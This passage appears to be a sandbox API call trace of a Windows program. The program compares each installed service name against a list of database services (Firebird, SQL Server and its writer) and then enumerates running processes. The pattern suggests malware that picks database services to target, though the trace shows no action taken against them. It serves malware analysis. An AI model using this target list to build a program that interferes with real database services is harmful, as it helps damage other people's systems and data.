lpString2="CDPSvc") returned 1 [0266.167] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0266.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0266.168] lstrlenW (lpString="ClickToRunSvc") returned 13 [0266.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0266.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0266.168] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0266.168] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0266.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0266.168] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0266.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0266.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0266.168] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0266.168] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0266.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0266.168] lstrlenW (lpString="CryptSvc") returned 8 [0266.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0266.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0266.168] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0266.168] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0266.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0266.168] lstrlenW (lpString="DcomLaunch") returned 10 [0266.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0266.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0266.168] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0266.168] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0266.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0266.168] lstrlenW (lpString="DeviceAssociationService") returned 24 [0266.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0266.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0266.169] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0266.169] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0266.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0266.169] lstrlenW (lpString="Dhcp") returned 4 [0266.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0266.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0266.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0266.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0266.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0266.169] lstrlenW (lpString="Dnscache") returned 8 [0266.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0266.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0266.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0266.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0266.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0266.169] lstrlenW (lpString="DPS") returned 3 [0266.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0266.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0266.169] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0266.169] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0266.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0266.169] lstrlenW (lpString="DusmSvc") returned 7 [0266.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0266.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0266.170] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0266.170] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0266.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0266.170] lstrlenW (lpString="EventLog") returned 8 [0266.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0266.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0266.170] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0266.170] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0266.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0266.170] lstrlenW (lpString="EventSystem") returned 11 [0266.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0266.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0266.170] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0266.170] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0266.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0266.170] lstrlenW (lpString="FontCache") returned 9 [0266.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0266.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0266.170] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0266.170] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0266.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0266.170] lstrlenW (lpString="gpsvc") returned 5 [0266.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0266.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0266.170] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0266.170] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0266.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0266.171] lstrlenW (lpString="iphlpsvc") returned 8 [0266.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0266.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0266.171] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0266.171] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0266.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0266.171] lstrlenW (lpString="KeyIso") returned 6 [0266.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0266.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0266.171] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0266.171] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0266.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0266.171] lstrlenW (lpString="LanmanServer") returned 12 [0266.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0266.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0266.171] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0266.171] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0266.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0266.171] lstrlenW (lpString="LanmanWorkstation") returned 17 [0266.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0266.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0266.171] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0266.171] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0266.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0266.171] lstrlenW (lpString="lfsvc") returned 5 [0266.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0266.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0266.172] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0266.172] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0266.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0266.172] lstrlenW (lpString="lmhosts") returned 7 [0266.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0266.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0266.172] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0266.172] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0266.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0266.172] lstrlenW (lpString="LSM") returned 3 [0266.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0266.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0266.172] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0266.172] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0266.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0266.172] lstrlenW (lpString="MpsSvc") returned 6 [0266.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0266.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0266.172] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0266.172] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0266.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0266.172] lstrlenW (lpString="NcbService") returned 10 [0266.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0266.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0266.172] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0266.173] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0266.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0266.173] lstrlenW (lpString="netprofm") returned 8 [0266.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0266.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0266.173] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0266.173] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0266.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0266.173] lstrlenW (lpString="NgcSvc") returned 6 [0266.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0266.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0266.173] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0266.173] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0266.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0266.173] lstrlenW (lpString="NlaSvc") returned 6 [0266.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0266.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0266.173] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0266.173] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0266.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0266.173] lstrlenW (lpString="nsi") returned 3 [0266.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0266.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0266.173] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0266.173] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0266.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0266.174] lstrlenW (lpString="PcaSvc") returned 6 [0266.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0266.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0266.174] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0266.174] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0266.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0266.174] lstrlenW (lpString="PlugPlay") returned 8 [0266.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0266.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0266.174] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0266.174] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0266.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0266.174] lstrlenW (lpString="Power") returned 5 [0266.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0266.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0266.174] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0266.174] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0266.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0266.174] lstrlenW (lpString="ProfSvc") returned 7 [0266.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0266.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0266.174] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0266.174] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0266.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0266.174] lstrlenW (lpString="RpcEptMapper") returned 12 [0266.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0266.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0266.175] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0266.175] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0266.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0266.175] lstrlenW (lpString="RpcSs") returned 5 [0266.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0266.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0266.175] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0266.175] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0266.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0266.175] lstrlenW (lpString="SamSs") returned 5 [0266.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0266.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0266.175] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0266.175] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0266.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0266.175] lstrlenW (lpString="Schedule") returned 8 [0266.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0266.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0266.175] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0266.175] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0266.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0266.175] lstrlenW (lpString="SecurityHealthService") returned 21 [0266.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0266.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0266.175] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0266.175] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0266.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0266.175] lstrlenW (lpString="SENS") returned 4 [0266.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0266.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0266.176] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0266.176] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0266.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0266.176] lstrlenW (lpString="ShellHWDetection") returned 16 [0266.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0266.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0266.176] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0266.176] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0266.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0266.182] lstrlenW (lpString="Spooler") returned 7 [0266.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0266.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0266.182] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0266.182] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0266.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0266.182] lstrlenW (lpString="StateRepository") returned 15 [0266.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0266.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0266.182] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0266.182] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0266.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0266.182] lstrlenW (lpString="SysMain") returned 7 [0266.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0266.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0266.182] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0266.182] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0266.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0266.182] lstrlenW (lpString="SystemEventsBroker") returned 18 [0266.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0266.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0266.182] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0266.182] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0266.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0266.182] lstrlenW (lpString="Themes") returned 6 [0266.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0266.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0266.182] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0266.182] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0266.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0266.183] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0266.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0266.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0266.183] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0266.183] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0266.183] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4078460 | out: hHeap=0x630000) returned 1 [0266.183] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x128c [0266.188] Process32FirstW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.188] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0266.189] lstrlenW (lpString="System") returned 6 [0266.189] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0266.190] lstrlenW (lpString="smss.exe") returned 8 [0266.190] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.190] lstrlenW (lpString="csrss.exe") returned 9 [0266.191] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0266.191] lstrlenW (lpString="wininit.exe") returned 11 [0266.191] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.192] lstrlenW (lpString="csrss.exe") returned 9 [0266.192] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0266.193] lstrlenW (lpString="winlogon.exe") returned 12 [0266.193] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0266.194] lstrlenW (lpString="services.exe") returned 12 [0266.194] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0266.195] lstrlenW (lpString="lsass.exe") returned 9 [0266.195] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0266.195] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0266.195] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0266.196] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0266.196] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.197] lstrlenW (lpString="svchost.exe") returned 11 [0266.197] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.198] lstrlenW (lpString="svchost.exe") returned 11 [0266.198] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0266.198] lstrlenW (lpString="dwm.exe") returned 7 [0266.198] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.199] lstrlenW (lpString="svchost.exe") returned 11 [0266.199] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 